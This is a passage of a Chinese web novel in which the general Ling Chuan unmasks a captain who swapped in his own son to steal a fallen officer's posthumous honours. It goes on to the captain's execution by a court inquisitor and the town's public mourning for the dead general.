随即,他话锋一转,面露难色,“只是……秦羽那孩子,接连遭逢丧父之痛、生母抛弃,近来性情变得极为孤僻,沉默寡言。卑职本意是想让他在此静养些时日,待心绪平复再行上路,以免……以免届时御前失仪,冲撞了天颜!” “秦校尉多虑了!”凌川语气依旧平稳,却带着不容置疑的分量,“秦简蒙陛下追封武毅将军,其子秦羽亦蒙圣恩,特赐大理寺寺承之职。陛下仁德,体恤边关将士劳苦,更对秦简壮烈殉国之举赞誉有加,期许厚赏犹恐不及,又岂会因一孩童些许失态而降罪?” “将军所言极是!是属下思虑不周,失言了!”秦福元连忙躬身,额角似有细微汗珠。 便在此时,凌川将手中茶盏轻轻置于案上,发出清脆一响,淡淡道:“既如此,便有劳秦校尉,将孩子带过来吧!” 秦福元目光微闪,旋即点头:“是,将军稍候,属下这便去将人带来!” 目送秦福元转身离去,凌川嘴角勾起一抹转瞬即逝的冷笑,倒要看看,这秦福元究竟要在他面前,演出怎样一出好戏。 身后的沈七岁与一禅和尚交换了一个眼神,皆是一副看戏的姿态。 不多时,一个年约十岁出头,长得白白胖胖的的男孩被引至堂前,一同带来的,还有那道圣旨。 秦福元在一旁介绍道:“秦羽,快来见过凌将军,他乃你父亲的军中同袍,特来看你!” 那孩子怯生生上前,对着凌川躬身行礼,声音细若蚊蚋:“秦羽……见过将军!” 凌川心知肚明,面上却不露分毫,只平静问道:“你便是秦简之子,秦羽?” “是……”孩子脑袋垂得更低,不敢与凌川对视。 凌川微微颔首,语气似在闲话家常:“本将昔日听你父亲提及,你今年当是八岁,观你身形,倒是比同龄孩子高出不少。” 秦福元立刻接口解释道:“将军明鉴,这孩子天生骨架大,长得快,确实比寻常八岁孩童要高上一些!” 凌川看似接受了这个说法,不再追问,转而朝那孩子招了招手,语气放缓了些:“秦羽,近前来!” 那孩子却僵在原地,脚下如同生根,下意识地抬眼望向秦福元,目光中带着询问与畏惧。 秦福元忙使了个眼色,催促道:“将军唤你,还不快近前回话!” 那‘秦羽’这才挪动脚步,慢吞吞地走到凌川面前。 凌川上下仔细打量他一番,忽然道:“本将记得,你父亲曾说过,你幼时顽皮,玩火不慎将左臂曾烧伤,留下一片疤痕。来,让我看看!” 此言一出,秦福元脸色骤变,他千算万算,未曾料到凌川竟对秦家家事如此熟稔,更知晓这等细微旧伤。 这突如其来的变数,几乎将他的布局全盘打乱。 那‘秦羽’闻言,脸上瞬间血色褪尽,眼神茫然失措,双手更是下意识地藏于身后。 凌川眼疾手快,未等他将手藏妥,已如铁钳般精准扣住其右腕,不由分说将衣袖向上一捋,只见那截手臂肤色白皙细嫩,绝非贫寒之家孩童所能有,更不见半点烧伤旧痕。 凌川目光陡然锐利如鹰隼,紧盯着眼前这惊慌失措的孩子,声音不高,却字字千钧:“告诉我,你手臂上的伤疤……去了何处?” “我……我……” ‘秦羽’面红耳赤,奋力挣扎,奈何凌川五指如箍,纹丝不动。 “将军!将军息怒!”秦福元抢步上前,满脸焦急地劝道,“这孩子连遭打击,心神受损,脆弱得很!您万勿如此,若是惊吓过度,真要酿出好歹,届时……届时恐怕陛下面前,您也不好交代啊!” 凌川缓缓抬眸,视线如冰刃般扫向秦福元,嘴角那抹冷笑愈发深刻:“秦简铮铮铁骨,他的血脉,岂会如此不堪一击?” 秦福元强自镇定,急声辩解:“或许……或许是年岁渐长,孩童肌肤恢复得快,那疤痕……已然褪尽了呢?这也是常有之事啊!” 第一卷 第401章 李代桃僵 凌川缓缓摇头,目光如两道实质的火焰,紧紧锁住对方,斩钉截铁地说道:“不会!秦简说得清清楚楚,那伤疤足有巴掌大小,深及肌理。纵使岁月流转,颜色或可转淡,也绝无可能消弭得无影无踪,不留半点痕迹!” 那‘秦羽’被他凌厉的目光与话语,逼得泪水在眼眶中疯狂打转,泫然欲泣。 凌川却毫无松动之意,声音陡然拔高,带着近乎审讯般的压迫感,一字一句地问道:“回答我!你的伤疤,在哪里?” “我……我不知道!”孩子带着哭腔喊道,声音里充满了恐惧。 不远处的秦福元早已是心乱如麻,尽管他极力维持着表面的镇定,试图稳住呼吸,但那闪烁不定的眼神和微微颤抖的手指,早已将内心的惊惶暴露无遗。 凌川盯着被自己死死攥住手腕、瑟瑟发抖的男孩,嘴角那抹冷意愈发明显,他缓缓问道:“难道说……你根本就不是秦羽?” “轰!” 此言如同惊雷,在秦福元脑海中炸响。他只觉眼前发黑,身体不受控制地踉跄着倒退了两步。 第一个涌入脑海的念头便是——完了,事情彻底败露了! 他满脸的惊恐与不甘,自己筹划如此周密,天衣无缝的计划,怎么会在这个环节上出了纰漏? 那吴氏母子明明在逃脱后不久便被抓住,就地处置干净了。之所以还留着通缉令,不过是为了掩人耳目,做给那些不明真相的百姓看。 这段时间,他更是亲自训练这个孩子,反复强调,让它牢记自己的身份。 告诉他,从现在开始,他就是秦羽,是北系军将领秦简的独子,无论谁问起,都必须对答如流。他甚至连秦羽幼时私塾先生的名字、邻里玩伴的样貌都让他牢牢记下,只待时机成熟,便可送往神都,完成那一步登天的计划…… 那‘秦羽’此刻已吓得哭出声来,猛地扭头望向秦福元,带着哭腔尖声叫道:“爹!救我啊!” 这一声‘爹’,如同冰水浇头,让秦福元瞬间僵在原地。 他短暂愣神后,慌忙摆手,试图补救,声音干涩而急促:“孩、孩子!你别急,我是你秦叔!秦叔在这儿,你别怕!” 看着他这番拙劣至极的表演,凌川只觉一股荒谬感涌上心头,事到如今,他竟还试图蒙混过关,真当别人是傻子吗? 就在此时,一名秦福元的亲兵神色仓皇地快步闯入,凑到他耳边急速低语了几句。 霎时间,秦福元面如死灰,眼神一片空洞,仿佛被抽走了所有力气。 “怎么会这样?”他脸上青筋暴起,从牙缝里挤出压抑的低吼,“不是说……人已经抓到,处理干净了吗?” 尽管相隔近十步,但凌川自修炼出真气后,耳力远超常人,几乎将两人刻意压低的对话听得一清二楚。 那亲兵所禀报的,正是秦简家中现状,以及冯县令已被带至秦家之事。 “秦校尉口中的处理干净,指的可是吴氏母子?”凌川声音不高,却如同寒冰,瞬间将秦福元冻结在原地。 只见秦福元脸色惨白如纸,眼眸中最后一丝神采也熄灭了,只剩下彻底的绝望,此前被那泼天富贵蒙蔽的理智此刻终于回归,巨大的恐惧攫住了他,他终于意识到,自己所行之事,乃是足以抄家灭门的滔天大罪! 随即,凌川再次将目光投向面前抖如筛糠的男孩,语气带着一丝玩味的冰冷:“那么现在,我应该是叫你秦羽呢?还是……叫你秦聪?” ‘秦聪’二字入耳,秦福元内心仅存的那点侥幸彻底粉碎。 对方显然是有备而来,若非如此,他绝不可能知晓自己亲生儿子的名讳。 难怪此人一进门便以雷霆手段收走了他的兵权,可笑自己方才还在他面前煞费苦心地演戏,殊不知对方早已洞察一切,对整个事件的来龙去脉了然于胸。 “实话告诉你!”凌川语气平淡,却字字诛心,“我根本未曾见过秦简,他儿子手上是否有伤疤,不过是我随口一说,诈你一诈罢了!” 凌川缓缓松开了手,那名叫秦聪的孩子如蒙大赦,连滚爬爬地躲回秦福元身后,紧紧抓住父亲的衣角。 “秦校尉,你这李代桃僵之计,设想得确实不错!”凌川看着面无人色的秦福元,声音冷冽,“若非本将在途中机缘巧合,救下了逃出生天的吴氏母子,说不定……还真被你瞒天过海了!” 他顿了顿,语气中讽刺意味更浓,“不过,相比之下,你的胆子,倒是比你的谋划更胜一筹!” “凌…凌将军!”秦福元深吸一口气,强压下心头的惊涛骇浪,试图做最后的挣扎,“您…您刚刚也说了,您与秦简并无私交,不如此事就此作罢,就当什么都未曾发生过!我秦福元在此立誓,从今往后,唯将军马首是瞻,任凭差遣,赴汤蹈火,在所不辞!” “你让我当做什么都没发生过?”凌川凝视着他,目光锐利如刀,“秦福元,你可知秦简是如何死的?” 秦福元喉结滚动了一下,艰涩地回答:“听说……是战死于栖霞关!” “还是由我来告诉你吧!”凌川缓缓将手中一直把玩的茶杯放下,发出清脆的叩击声,在寂静的厅堂内格外清晰。 “半年前,时任靖州副将的秦简,亲率一万靖州儿郎,死守栖霞关。血战七日,一万将士死伤过半!他们本可放弃关隘,退守更为稳妥的烬垣道,但若如此,栖霞关沿线数万百姓,必将尽数惨死于胡羯铁骑的屠刀之下!” 他的声音逐渐高昂,带着沉痛与敬重:“最终,他们选择了死守,与栖霞关共存亡!一万靖州军,打到最后一兵一卒,无人后退!他们用血肉之躯,为身后数万百姓,赢得了宝贵的撤离时间!” 凌川的目光如同实质,重重压在秦福元身上,每一个字都掷地有声:“你现在告诉我,要我假装不知道?那我凌川,该如何向战死的秦简交代?如何向那一万靖州军的英魂交代?又如何向北系军,向天下人交代?” 这番话,铿锵激越,如同洪钟大吕,震得秦福元心神俱颤。 第一卷 第402章 并州主将,刘熙图 “罢了……罢了……” 秦福元仿佛被抽空了所有力气,长长叹息一声,面如死灰,“都怪我利令智昏,被猪油蒙了心;可富贵险中求的道理,我何尝不知?今日栽在将军手里,我认了!” 紧接着,他猛地将身后的儿子秦聪紧紧护住,抬起头,目光死死盯着凌川,带着一丝穷途末路的决绝:“此事从头至尾,皆是我一人策划,与我儿子无关!凌将军现在便可取我项上人头,但求您,高抬贵手,放过我这无知孩儿!” 凌川闻言,却是缓缓再次端起了茶杯,指尖摩挲着温热的杯壁,脸上浮现出一抹冰冷而讥诮的笑意:“秦校尉,你之前对吴氏母子那可是赶尽杀绝啊!现在,又凭什么要求我,放过你的儿子?” “去为秦简将军守灵!至于最终是只砍你一人脑袋,还是杀你全家,全看你接下来的表现!”凌川声音冰冷,不容置疑。 就在这剑拔弩张之际,门口骤然传来一声沉喝: “慢着!” 凌川抬眼望去,只见一名年近五十、身材魁梧、身着铠甲的男子龙行虎步而入。 他肩宽背厚,面容刚毅,周身却自然散发着久居上位的威严。 一见此人,原本面如死灰的秦福元眼中骤然迸发出狂喜的光芒,如同溺水之人抓住了最后一根稻草,嘶声喊道:“姐夫!救我!快救救我!” 这一声‘姐夫’,已然道明了来人的身份——并州主将,刘熙图。 对于刘熙图的突然出现,凌川丝毫不觉意外,这本就是他昨夜密信请来的,只不过密信没有署名,此地距并州城不足百里,刘熙图此时赶到,正在他计算之内。 叫刘熙图来,一是‘打狗看主人’的意思,再则也想看看刘熙图是什么态度。 刘熙图并未理会狼狈不堪的秦福元,目光如电,径直投向端坐主位的凌川。 他官居正四品,位阶高于凌川,然而凌川却稳坐如山,丝毫没有起身见礼的意思,只因他心中憋着一股怒火。 刘熙图眼中锐光一闪,却未在礼数上多做纠缠,反而脸上挤出一丝略显生硬的笑容,开口道:“凌将军,本将御下无方,给你添麻烦了,回头,刘某定当亲赴北疆,向卢大将军当面陈述此事,郑重请罪!” 话语看似客气,甚至带着赔罪之意,但弦外之音却异常清晰,你凌川不过一五品将军,还没资格越过我并州主将,直接处置我的人。 要交涉,也是与你北系军主帅卢恽筹交涉。 凌川闻言,嘴角勾起一抹淡然而冰冷的弧度:“刘将军,恕凌某直言,若您想如此轻描淡写,便将这戕害忠良之后、冒功欺君的大罪就此揭过,怕是不行!” 刘熙图神色一凝,眼中闪过一丝诧异,似乎没料到凌川竟如此强硬。 他径直走到凌川对面的椅子坐下,秦福元见状,赶忙手脚并用地爬起,战战兢兢地为姐夫斟茶,刘熙图端起茶杯,浅饮半口,目光重新落在凌川身上,语气放缓,却带着审视。 “凌将军,本将听说过你,年轻有为,功勋卓著,堪称北系军年轻一辈中最耀眼的将星,更是陛下钦封的镇北将军,前途无量!” 接着,他话锋微转,语气渐沉,“但凌将军莫要忘了,这里是并州!无论他秦福元犯了多大的错,就算按律当斩,甚至罪及满门,那也是我并州军务,是我刘熙图分内之事!该如何处置,自有我军法从事,不劳凌将军越俎代庖!” 凌川笑着摇了摇头,目光坚定:“刘将军,若只是并州内部事务,凌某自然不会插手。但此事,关乎我北系军殉国将领的荣辱,关乎其遗孤的生死安危,那就绝不仅仅是并州的家事了!” “我说了,我会亲自给卢大将军一个交代!”刘熙图语气转硬,霸道再现,甚至透出几分不耐。 凌川脸上最后一丝笑意也彻底敛去,声音沉静却带着不容置疑的力量:“你如何向卢帅交代,是你的事,凌某无权过问。凌某只知道,那战死沙场、血染栖霞关的秦简将军,需要一个交代!四十万北系军,也需要一个交代!” “砰!” 刘熙图猛地将手中茶杯重重磕在桌上,发出刺耳声响,茶水四溅。 他霍然起身,声音陡然拔高,怒意勃发:“凌川!你别敬酒不吃吃罚酒!” 然而,他这骤然爆发的威势,并未能震慑住凌川分毫。 凌川依旧稳坐,毫不畏惧地迎上他逼视的目光,一字一句道:“刘将军,我敬您是军中前辈,曾戍边有功,但我凌川今日也把话撂在这里,他秦福元的项上人头,我砍定了!你……保不住他!” 话说到这个份上,双方算是彻底没有回旋的余地了。 “好!好!好!”刘熙图怒极反笑,连道三个好字,显然已愤怒到了极点,指着凌川的鼻子喝道:“凌川!你这是铁了心,要与我并州军作对到底了?” 凌川毫不退让,目光如炬,沉声回应:“那也请刘将军考虑清楚,是不是真要为了一个罪证确凿的秦福元,不惜与我整个北系军撕破脸皮!” “你……” 刘熙图一时语塞,脸色铁青。 他虽贵为一州主将,但麾下兵马满打满算不过两万余人,而北系军,那是坐拥四十万虎狼之师的庞然大物,雄踞北疆,威震天下,他拿什么去跟北系军硬碰硬? “你一个乳臭未干的小儿,你能代表得了整个北系军?”刘熙图试图从另一个角度施压。 凌川不屑一笑,语气带着几分讥诮:“我凌川自然代表不了北系军,但刘将军觉得,已为国捐躯、被陛下追封、被万千边军视为楷模的秦简将军,能不能代表北系军?” 这话,意味深长,直指要害。 若秦简尚在,其一介副将的影响力,还不如如今的凌川。 但一个战死沙场、被树为忠烈典范的秦简,意义与地位则截然不同。 此事一旦在北疆传开,无论是以往与秦简并肩作战的靖州军旧部,还是素不相识的其他边军同袍,必将群情激愤,同仇敌忾! 因为这触碰了边军最根本的荣辱与底线,此乃众怒,足以燎原! 第一卷 第403章 他不敢,我敢! 刘熙图自然深知其中利害,脸色变幻不定,最终化为一声无奈且愤怒的低吼,狠狠剜了旁边瑟瑟发抖的秦福元一眼。 事实上,对于秦福元觊觎冒功之事,他并非全然不知。 前不久秦福元曾隐晦提及,他并未明确同意,却也没有严厉阻止,某种程度上算是默许,存了分一杯羹的心思。 可他万万没想到,秦福元做事如此不周密,处处漏洞,如今被人拿住确凿把柄,简直是咎由自取! 然而,对方终究是自己的小舅子,更是他在并州军中的重要臂助之一,真要让他眼睁睁看着秦福元被处决而袖手旁观,于公于私,刘熙图都难以做到。 “凌某很好奇……”凌川目光锐利如刀,仿佛能穿透人心,他盯着刘熙图,意味深长地说道,“他秦福元不过一介小小校尉,未必有如此胆量行此欺君罔上、戕害忠良之后的大罪。莫非……他背后另有人指使撑腰?” “凌川!你什么意思?”刘熙图勃然变色,他岂会听不出这话中的含沙射影,分明是想将这顶幕后主使的帽子扣到他头上! 凌川却故作轻松地笑了笑,只是那笑意未达眼底:“刘将军何必如此激动?凌某只是依据常理推测而已,莫非……刘将军知道些什么内情?” “住口!”刘熙图直接厉声打断,脸上杀气涌现,“我警告你凌川!你若敢动他一根汗毛,我保证,你绝对走不出这并州地界!” 凌川闻言,不怒反笑,嘴角那抹弧度愈发冰冷刺骨。 只见他缓缓站起身,动作从容不迫,却带着一股无形的压迫感。 “凌某此生,最不吃的,就是威胁。刘将军此言,无疑是在逼凌某现在就动手!” “你动一个试试!”刘熙图怒目圆睁,须发皆张。 他绝不相信,凌川真敢当着他的面,公然斩杀他并州军的校尉。 “嗤……” 一声轻微却令人心悸的利刃破空声,骤然撕裂了堂内凝滞的空气。 伴随一道刺目的寒芒闪过,一个冰冷得不带丝毫情感的声音响起: “他不敢,我敢!” 众人这才惊觉,场中不知何时已多出一道身影。 那人一身玄色螭纹官服,胸前绣着一柄精致却透着森然杀气的金刀徽记,无比刺眼。 来人不是别人,正是有着活阎罗之称的北疆廷尉府都统——阎鹤诏! “噗……” 几乎在他话音落下的同时,秦福元的脖颈上突兀地裂开一道细长的血线。 下一刻,滚烫的鲜血如同压抑已久的喷泉般汹涌而出,他脸上凝固着极致的震惊与无法置信的恐惧,双手徒劳地捂住喉咙,身体却已不受控制地缓缓软倒在地,发出一声沉闷的响动。 这一幕,连一向玩世不恭的沈七岁都为之瞳孔一缩。 因为他看得分明,阎鹤诏自始至终连刀柄都未曾触碰,那道致命的伤口,竟是由一道凝练至极、锋锐无匹的真气瞬间划开! 刘熙图彻底僵在原地,大脑一片空白。 他万万没想到,半路竟会杀出这位煞星,而且如此干脆利落,毫不拖泥带水地就结果了秦福元的性命! “阎鹤诏!你…你竟敢公然滥杀无辜!”惊怒交加之下,刘熙图指着阎鹤诏厉声喝道,声音却带着一丝不易察觉的颤抖。 阎鹤诏缓缓转过那双仿佛万年寒冰雕琢而成的眸子,冷漠地扫向刘熙图,声音平淡得令人发寒:“我阎某人双手沾满鲜血不假,但迄今为止,死在我手下之人,一个无辜者都没有!” 刘熙图顿时语塞,脸色一阵青白。 朝野上下谁人不知,阎鹤诏在廷尉府效力多年,办案如神,手段酷烈,杀人无数,却也从无一起冤假错案,说他是廷尉府的金字招牌,也毫不为过。 “你…你又不是并州廷尉府官员,有何资格越权插手我并州事务?”刘熙图强自镇定,换了个角度质问。 “我执掌北疆廷尉府,秦简乃北疆靖州军将领,本官自然有权过问,并一查到底!”阎鹤诏语气依旧毫无波澜,带着一种理所当然的强势,“刘将军若是不服,大可以备好奏折,去神都参我一本越权之罪!” 去神都参这位深受皇权信赖、手握生杀予夺大权的活阎罗? 刘熙图还真没那个胆量和底气,众所周知,廷尉府乃皇权特许,对三品以下官员拥有先斩后奏之权。 换言之,若是凌川杀了秦福元,他还能去北疆理论,甚至去神都喊冤;但阎鹤诏动手,他只能打落牙齿和血吞! 更何况,这件事真要细察起来,他刘熙图未必就真能将自己撇得一干二净。 “从现在开始,此案由廷尉府正式接手!”阎鹤诏那双仿佛能洞穿人心深处所有隐秘的眼睛,死死盯住刘熙图,一字一句地说道,“本官定会查个水落石出,无论牵扯到谁,绝不姑息!” 后者内心不由得狠狠一紧,一股寒意从脚底直冲天灵盖。 他脸色铁青,嘴唇哆嗦了几下,最终只能从牙缝里挤出一句:“那……你就查!” 丢下这四个字,刘熙图径直转身大步离去,甚至没有再多看一眼地上那具尚温热的尸体。 他风尘仆仆从并州城赶来,结果非但没能保住小舅子,反而让自己深陷泥潭,这让他心中充满了难以言喻的恼怒与挫败。 “多谢阎大人出手!”待刘熙图离去,凌川上前一步,对阎鹤诏抱拳,郑重行了一礼。 事实上,就在刚才那一刻,凌川已下定决心出手,即便明知会引来后续麻烦,也定要亲手斩杀秦福元,以慰秦简在天之灵。 然而,阎鹤诏的抢先出手,不仅达成了同样的结果,更巧妙地将可能引向凌川的麻烦消弭于无形。 阎鹤诏淡淡扫了他一眼,说道:“你小子竟敢与正四品将军硬刚,毫不退让,倒是有几分骨气!” 既然这位北疆廷尉府的活阎罗已然介入,接下来的烂摊子交给他处理自是再合适不过。 凌川示意洛青云留下秦福元的校尉铁牌,随即便带人离开了县兵营,他带走了那道被抢去的圣旨,却并未取走秦福元的首级。 念在同袍之谊的份上,给他留个全尸,这已是最后的体面。 第一卷 第404章 赫赫战功,公之于众! 回到客栈匆匆用过午饭,凌川安排洛青云带队留守,自己则仅带着少数几名亲随,再次动身前往秦简家中。 简陋的灵堂前,显得异常冷清,只有为数不多的邻里前来悼念。 吴氏母子身披重孝,面容憔悴却强忍悲恸,对前来悼念的乡邻一一躬身回礼。 看着稀稀拉拉人影出入灵堂,凌川内心很不是滋味。 堂堂边军将领,为国战死沙场,马革裹尸,身后却如此寂寥,无人知晓其功绩。 这不仅是他个人的悲哀,更是整个边军群体的悲哀,乃至是一个民族的悲哀! 凌川让苍蝇将冯济才带过来。 这位县令大人已在灵堂前跪了几个时辰,双膝早已麻木不堪,几乎无法行走,最终是由两名亲兵一左一右架着拖过来的。 “此前,节度府护送秦将军骨灰回乡时,相关的战功簿录,按例应在县衙留有备份吧?”凌川看着面如土色的冯济才,沉声问道。 他之所以有此一问,是因为依照惯例,一县之地若出了将军这种级别人物,乃是地方莫大的荣耀,其事迹与战功不仅要记入县志,更应广为宣扬,以励后人。 “有…有…在县衙库房存着呢……”冯济才声音颤抖,几乎语不成句。 凌川点了点头,目光扫过他不断打颤的双腿,冷然道:“知道了!你回去继续跪着吧!” 冯济才一听,眼前顿时一黑,险些当场昏厥。 对于他这等常年养尊处优的县官而言,连续跪数个时辰,简直比受刑还要痛苦,双腿早已失去知觉,再跪下去,这双腿恐怕真要彻底废掉。 然而,面对眼前这位纵横沙场的边军杀神,他心中充满了恐惧,不敢吐露半个不字。 他清楚地知道,若敢有丝毫违逆,对方绝对不介意立刻送自己上路。 日落之前,县衙所有衙役倾巢而出,将一张张墨迹未干的榜文张贴在乐平县的大街小巷。 “这又是贴的什么?莫不是出了新的通缉令?”卖炊饼的老张头踮着脚张望,一旁的妇人接口道:“晌午才撕了秦家娘子的通缉令,这又是闹哪出?” 很快,人群便围拢过来。大多百姓目不识丁,只能恳求识字的王秀才代为宣读。 “秦简,并州乐平县人,昭元十五年投身北系军……” 甫一开篇,人群中便响起一阵骚动。 “别嚷嚷!且听王秀才继续念!”里正敲着拐杖喝道。 “昭元十七年冬,率斥候小队深入敌境三百里,探得胡羯主力动向。”王秀才清了清嗓子,声音在寂静的街道上传开,“返程途中遭遇敌军截杀,身中三箭,仍负伤疾驰两百里,将情报送达靖州大营。” 人群中响起倒吸冷气的声音,一个老者喃喃道:“身中三箭还要奔驰两百里?这得要多大的毅力……” “此役使我军得以提前设伏,重创敌军先锋,擢升标长!” “昭元二十年夏,带队巡边时遭遇胡羯精锐斥候三十余人。激战半日,歼敌十三人,余众溃逃。”念到此处,王秀才声音微颤,“此战身先士卒,左臂中刀深可见骨,仍坚持带队完成巡边任务。晋升校尉!” 一个妇人忍不住捂住嘴:“深可见骨……这该有多疼啊!” 王秀才每念一条,人群中便安静一分,这些朴实的面庞上渐渐浮现凝重之色。 “昭元二十一年冬,胡羯两千骑兵欲从雪狼峡迂回偷袭。”王秀才的声音渐渐低沉,“时任校尉的秦简奉命率本部千人断敌后路。在暴雪严寒中苦战三日,士卒冻死者逾半,仍死战不退。” “待援军赶到时,所部仅存百余人,人人带伤,却成功将敌军全歼于峡内。”王秀才的声音哽咽了,“此役后,靖州主将姚钦延亲至雪狼峡,见将士们以雪埋尸,不禁潸然泪下!” 街角传来低泣声,一个老妪用袖子抹着眼泪:“我那儿子至今还埋在那里,呜呜……” 人群中啜泣声渐起,几个汉子别过脸去,偷偷用袖子擦拭眼角。 “昭元二十三年,胡羯五千精兵奇袭铁棘谷。”王秀才强忍悲痛继续念道,“彼时秦简刚升任都尉,奉命率两千士卒驻守。在粮草断绝、箭矢用尽的绝境中,秦简身先士卒,身中数箭仍坚守谷口十余日,直至援军到来。” “战后从他身上取出断箭时,箭头已与血肉长在一处。” 王秀才深吸一口气,用尽全身力气念出最后一段:“昭元二十七年夏,胡羯两万铁骑直扑栖霞关。时任靖州副将的秦简本可放弃栖霞关退守烬垣道,为掩护栖霞关数万百姓撤离,他毅然决定率残部死守……” 他的声音开始颤抖: “最后一战,残损的四千余靖州军全部战死,无一存活。凶残的胡羯人竟将阵亡将士的尸首堆积成一座座‘京观’,而主将秦简的首级……” 他哽咽着,几乎念不下去: “秦将军的首级……被残忍砍下,高悬于残破的城门之上……享年三十六岁!” 当最后一个字念完,整条街道陷入死一般的寂静。那寂静沉重得让人窒息,只能听见压抑的抽泣声在风中飘荡。 突然,一个汉子紧握着手中的扁担,红着眼眶颤声道:“想不到,咱们乐平县竟出了此等顶天立地的大英雄!” “王秀才,这下面还有,写的是什么?”忽然有人用哽咽的声音问道。 王秀才擦了擦眼睛,继续宣读: “并州校尉秦福元,欲侵占秦简遗子的封赏,让自己儿子冒名顶替,故此捏造秦简遗孀卷走恤银,并伙同县令冯济才发布通缉令……” 听到王秀才宣读下面的内容,这部分内容主要是交代之前通缉令的因果始末,以及秦福元与冯济才勾结谋害的真相,众人听后顿时群情激奋。 “畜生,这种伤天害理的事情也做得出来,就不怕遭报应吗?” “这些天杀的,残害忠良之后,就应该千刀万剐!” “不管了,老子今日舍去一身剐,也要剁了那狗官!”一名汉子操起扁担就要朝着县衙方向冲去。 第一卷 第405章 他们的报应,来了! 王秀才连忙拉住群情激愤的百姓,高声劝道:“诸位且慢!不必去了,他们的报应已经来了!” 众人齐刷刷扭头看向王秀才,只见他眼含热泪,手指颤抖地指着榜文末尾:“这上面写得清清楚楚,县兵校尉秦福元今日已在校尉府伏法授首,县令冯济才此刻正跪在秦将军的灵堂前谢罪!” “好!真是老天开眼啊!”人群中爆发出阵阵欢呼,有人甚至激动地拍手叫好。 然而王秀才却摇了摇头,用袖子擦了擦眼角,声音哽咽却异常坚定:“他们的报应确实来了,不过却不是老天开眼,而是凌将军在替天行道!” “凌将军?哪个凌将军?”一个年轻后生不解地问道。 “自然是在北疆大破敌军,被陛下钦封的那位镇北将军,凌川!”他环视四周激动的百姓,解释道:“凌将军奉旨回神都受封,恰好在路上遇到了正在逃亡的秦将军妻儿。若非如此,恐怕忠良之后已遭荼毒……” 众人这才恍然大悟,原来是那位名震天下的镇北将军亲自下场为秦简妻儿站台,主持公道。 一名老妇人喃喃道:“我就说嘛,那吴氏平日里最是贤惠,怎会做出卷款潜逃这种事……” 这时,一个背着柴火的樵夫挤进人群,激动地补充道:“这些丧尽天良的王八蛋,终于有人来收你们了!” 同样的一幕,发生在乐平县城各处。 在城东市集口,在西门桥头,在每一个张贴榜文的地方,都聚集着越来越多的百姓。 当他们得知吴氏母子的遭遇后,无不义愤填膺;而当听说凌将军亲自为这母子二人主持公道时,又无不拍手称快。 “乡亲们!”一位须发皆白的老者拄着拐杖,颤巍巍地走到人群中央,“咱们乐平县出了秦将军这样一位大英雄,咱们这些活着的人,说什么也得去给他上炷香啊!” “老里正说得对!”一个壮硕的汉子立即响应,“绝不能让秦将军走得冷冷清清!” 话音未落,人群已经开始涌动,做小买卖的摊贩直接收起摊子,高喊道:“今日不做生意了,我也要去给秦将军磕个头!” 在这股悲壮的氛围中,人流从四面八方涌向城南那条不起眼的小巷。 有拄着拐杖的老人,有抱着孩子的妇人,有刚刚放下农具的农夫,还有搁下生意的商贩,每个人的脸上都带着肃穆与敬意。 不过一炷香的时间,原本冷冷清清的小巷已经人满为患,后来的百姓只能站在巷口,踮着脚尖向前张望。 灵堂前,戴孝的吴氏母子见忽然来了这么多人,既惊讶又感动。 吴氏悄悄拭去眼角的泪水,低声问凌川:“将军,这是?” 凌川微微颔首,温声道:“是我让官府将秦将军的战功公之于众。英雄不该被遗忘,奸佞必须被惩处!” “谢过将军!”吴氏正要行礼,却被凌川轻轻扶住。 “嫂子!秦将军壮烈捐躯,他不该走得默默无闻!”凌川语气坚定地说道。 眼见前来悼念的百姓越来越多,狭小的灵堂早已容纳不下,凌川命人在院中空地上设了一只大香炉。 苍蝇早有准备,已经派人购置了充足的香烛,此刻正带着亲兵们给百姓分发。 百姓们自发排成长队,秩序井然,当走到香炉前时,每个人都会郑重地三鞠躬,才将手中的香插入炉中,香火缭绕,渐渐在院子上空凝聚成一片青色的烟云。 也有人直接双膝跪地,对着秦简的棺椁恭恭敬敬磕头,吴氏见状,一一上前扶起,秦羽也学着母亲的样子,搀扶这些下跪的百姓。 就在这庄严肃穆的时刻,一个特殊的身影引起了众人的注意。 那是一名左腿残缺的中年汉子,拄着一根磨得发亮的拐杖,正艰难地拨开人群,径直走向灵堂门口。 突然,他对着秦简的棺椁嘶声大喊:“秦简!你当初可是拍着胸脯答应过老子,要活着回来的啊!” 这一声呐喊,让整个院子瞬间安静下来。 众人打量着这个陌生汉子,他约莫五十岁年纪,长满络腮胡的脸上布满风霜,一身洗得发白的粗布衣打满了补丁,最引人注目的是他空荡荡的左裤管,用一根麻绳仔细地扎着。 只见他拄着拐杖,一步一顿地径直走向灵堂,当他粗糙的大手颤抖着抚上秦简的棺椁时,虎目中滚落的热泪在棺木上溅开点点水花:“老子当年带着你去的北疆,却没能把你带回来……” 围观的百姓面面相觑,都在猜测此人的身份,可就连吴氏母子,也对他毫无印象。 苍蝇正要上前询问,凌川却抬手制止。 他缓步走到汉子身边,轻声问道:“敢问阁下是?” 那中年汉子用生满老茧的手背擦了擦眼泪,抬头望向凌川:“您就是凌将军吧?” “晚辈凌川。”凌川抱拳行礼,“敢问您是?” 中年男子闻言,立即紧握拐杖,努力挺直腰板,右手握拳,重重锤在胸膛:“原北系军靖州军骑卒高大成,见过将军!” 尽管凌川从他方才的话语中已经猜到了大概,此刻仍不免心潮澎湃。 他郑重还礼:“北系军凌川,见过老伍长!” 苍蝇等人见状,也纷纷上前行礼。 “北系军史尚飞,见过老伍长!” “北系军余乐,见过老伍长!” 高大成满脸激动,挨个打量着这些年轻的面庞,连连点头:“好啊,好啊……看到你们这些年轻娃娃,老子仿佛又回到了当年在边关纵马驰骋的岁月!” 他转头凝视着身旁的棺椁,长叹一声,声音里满是痛惜:“秦简这小子,正值当打之年,可惜了啊……” 待高大成为秦简上过香后,凌川亲自扶着他到一旁的凳子上坐下。 苍蝇连忙奉上一碗热茶,高大成接过后一饮而尽,显然是长途跋涉渴坏了,苍蝇见状又给他倒了一碗。 “十二年前……”高大成摩挲着手中的粗瓷茶碗,目光渐渐深远,“我回乡探亲,这个愣头青找上门来,非要我带他去边关军营建功立业,我至今还记得他那双眼睛,亮得跟星星似的……” 第一卷 第406章 北疆老卒,高大成! “我一眼便看出,那小子是块当兵的料,便答应下来!”高大成声音低沉沙哑,那双布满老茧的手无意识地摩挲着拐杖,仿佛透过时光,又看见了当年那个满腔热血的少年。 